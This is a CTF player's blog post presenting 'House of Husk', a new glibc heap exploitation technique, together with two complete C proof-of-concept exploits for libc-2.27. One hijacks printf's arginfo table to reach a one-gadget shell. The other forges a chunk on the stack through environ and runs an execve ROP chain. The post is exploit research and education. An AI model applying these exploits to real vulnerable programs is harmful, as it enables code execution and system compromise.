CTFするぞ

CTF以外のことも書くよ

House of Husk

About

Yesterday I came up with an idea of a new heap exploitation technique. As far as I googled it, nobody had published the technique yet and I named it "House of Husk."

The technique makes it easy to control RIP under the condition that we can malloc/free large chunks which have UAF. It introduces and takes advantage of a little known function table rather than introduce a new exploitation vector.

PoC:

github.com

Japanese version:

ptr-yudai.hatenablog.com

House of Husk

Primitive

register_printf_function

There exists a function named register_printf_function in libc. As the name suggests, it registers a new format string for printf. This function calls __register_printf_specifier and it allocates __printf_arginfo_table in the first time like this:

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
        calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
        {
          result = -1;
          goto out;
        }
      __printf_function_table = (printf_function **)
        (__printf_arginfo_table + UCHAR_MAX + 1);
    }

On the other hand, some functions with format string, such as printf and sprintf, check if __printf_function_table is registered in the following way.

  /* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
                        || __printf_modifier_table != NULL
                        || __printf_va_arg_table != NULL))
    goto do_positional;

If not, it goes to a fast path which implements the default format string. If registered, it jumps to the slow path in which the registered format is used. In order to check the type of arguments, it calls a function registered in __printf_arginfo_table before using one in __printf_function_table.

Relative overwrite

I've already explained it in this article of House of Corrosion in Japanese. I'll write it briefly in English here.

The principle is that we make global_max_fast a big value using unsorted bin attack. After that, (mostly) all large freed chunks will be listed in "fastbin." global_max_fast is supposed to be smaller, not bigger, so it actually overwrites data out of main_arena.

If you want to overwrite data that is located delta-byte after fastbin, you may just free a chunk whose size is

size = (delta * 2) + 0x20

Method 1

Premise

House of Husk doesn't depend on the version of libc as long as it has fastbins and unsorted bin attack is available.

  • UAF on a chunk listed in unsorted bin
  • 2 large mallocs in addition to some normal (but a bit large) mallocs (In libc-2.27 requires a 0x9420 and 0x1850-byte malloc)
    • If we can leak the heap address (which is usually the case), we only need 1-unsortedbin-sized mallocs. (such as malloc(0x500))
  • printf with format string (works with an invalid format too like %?)

The detailed condition is up to the situation. Read the PoC.

The good

It's useful when we can allocate only large chunks. As far as I know (and read some writeups) the conventional method requires something like modifying main_arena and overwriting __malloc_hook or __free_hook. It's hard in that it needs to pass the size check of fastbin.

House of Husk works with some simple steps, which is easy to understand as well, and the size check no longer matters.

Exploit

Just take the following steps:

  1. Leak libc address
  2. Make global_max_fast large by unsorted bin attack
  3. Write the address of a fake arginfo table to __printf_arginfo_table by "relative overwrite"
  4. Write a non-null value to __printf_function_table by "relative overwrite"
  5. Call printf with format string

We have to prepare a function pointer in the fake arginfo table at the offset which corresponds to the character code of the format string. In printf_positional called by printf, __printf_arginfo_table[c] will be called and we may get RIP.

PoC

Simple :)

/**
 * This is a Proof-of-Concept for House of Husk
 * This PoC is supposed to be run with libc-2.27.
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); // make printf quiet

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  /* prepare fake printf arginfo table */
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* overwrite __printf_arginfo_table and __printf_function_table */
  free(a[1]);
  free(a[2]);

  /* ignite! */
  printf("%X", 0);
  
  return 0;
}

Yay!

ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out 
libc @ 0x7ffff79e4000
$ whoami
ptr

Method 2

Premise

Compred with method 1, printf is not longer necessary in this method. Instead, it requires some RW UAFs and more malloc/free.

The good

It's helpful when

  • one gadget doesn't work
  • the binary is statically linked
  • have seccomp

meaning when you want to execute your rop chain.

Exploit

Follow the next steps:

  1. leak libc address (if necessary)
  2. unsorted bin attack to overwrite global_max_fast
  3. free a chunk whose size corresponds to environ
  4. overwrite 1 or 2 bytes of fd to point it to a fake chunk header
  5. prepare the fake chunk header on the stack by using stack leftover for example
  6. malloc two times with the size for environ
  7. the second malloc returns the stack pointer and you can just do rop (read canary if necessary)

Be careful that environ is broken when your rop chain works.

PoC

/**
 * House of Husk
 * This PoC is supposed to be run with libc-2.27.
 */
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define ENVIRON          0x3ee098
#define LIBC_BINSH       0x1b3e9a
#define LIBC_POP_RDI     0x2155f
#define LIBC_POP_RSI     0x23e6a
#define LIBC_POP_RDX     0x1b96
#define LIBC_EXECVE      0xe4e30

unsigned long libc_base, addr_env, ofs_fake;
char *a[10];
int i;

int main (int argc, char **argv, char **envp)
{
  unsigned long fake_size;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL); // make printf quiet

  ofs_fake = (void*)envp - (void*)&fake_size; /* this is fixed */

  /* leak libc */
  a[0] = malloc(0x500); /* UAF chunk */
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  a[2] = malloc(0x500); /* avoid consolidation */
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  /* unsorted bin attack */
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); /* overwrite global_max_fast */

  /* leak environ */
  free(a[1]);
  addr_env = *(unsigned long*)a[1];
  printf("environ = 0x%lx\n", addr_env);
  *(unsigned long*)a[1] = addr_env - ofs_fake - 8;

  /* prepare fake size on stack*/
  fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1;
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));

  /* overwrite return address */
  a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  for(i = 0; i < 0x20; i++) {
    *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; /* ret sled */
  }
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++;
  getchar();

  return 0;
}

Example

Example usage in CTF challenges: